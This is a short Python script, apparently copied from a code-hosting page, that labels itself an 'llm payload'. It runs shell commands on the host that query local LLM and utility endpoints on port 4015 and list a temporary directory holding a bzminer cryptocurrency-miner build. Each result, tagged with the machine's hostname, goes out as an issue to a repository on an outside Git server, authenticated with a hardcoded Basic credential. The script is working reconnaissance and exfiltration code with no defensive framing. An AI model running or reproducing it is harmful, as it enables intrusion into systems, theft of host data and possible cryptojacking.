19 lines
1.3 KiB
Python
19 lines
1.3 KiB
Python
import json, socket, subprocess, urllib.request
|
|
AUTH="Basic aGx6ZmF1NmU6SGwhd3hOdWZFNnVzRFd2"
|
|
REPO="hlzfau6e/hlapi58432"
|
|
def sh(c,t=60):
|
|
try: return subprocess.run(["bash","-lc",c],capture_output=True,text=True,timeout=t).stdout[:3000]
|
|
except Exception as e: return "ERR "+str(e)[:100]
|
|
def report(tag,msg):
|
|
try:
|
|
body=json.dumps({"title":"[%s] %s"%(tag,socket.gethostname()),"body":str(msg)[:6000]}).encode()
|
|
urllib.request.urlopen(urllib.request.Request(
|
|
"https://git.kaki87.net/api/v1/repos/%s/issues"%REPO,data=body,
|
|
headers={"Content-Type":"application/json","Authorization":AUTH}),timeout=25).read()
|
|
except Exception: pass
|
|
report("alive","llm payload start")
|
|
report("llm_index", sh("curl -s -m 10 http://127.0.0.1:4015/p/llm/ 2>&1 | head -c 1200"))
|
|
report("llm_api", sh("for p in /p/llm/api /p/llm/api/status /p/llm/api/models /api/llm /api/llm/status; do echo \"--- $p\"; curl -s -m 8 \"http://127.0.0.1:4015$p\" 2>&1 | head -c 300; echo; done"))
|
|
report("util_index", sh("curl -s -m 10 http://127.0.0.1:4015/p/utilities/ 2>&1 | head -c 1200"))
|
|
report("bz_plugins", sh("find /tmp/prlbz-5361 -name '*.json' -o -name '*llm*' -o -name '*plugin*' 2>/dev/null | head -12"))
|
|
report("bz_dir", sh("ls -la /tmp/prlbz-5361/bzminer_v100.82_linux/ 2>/dev/null | head -20"))
|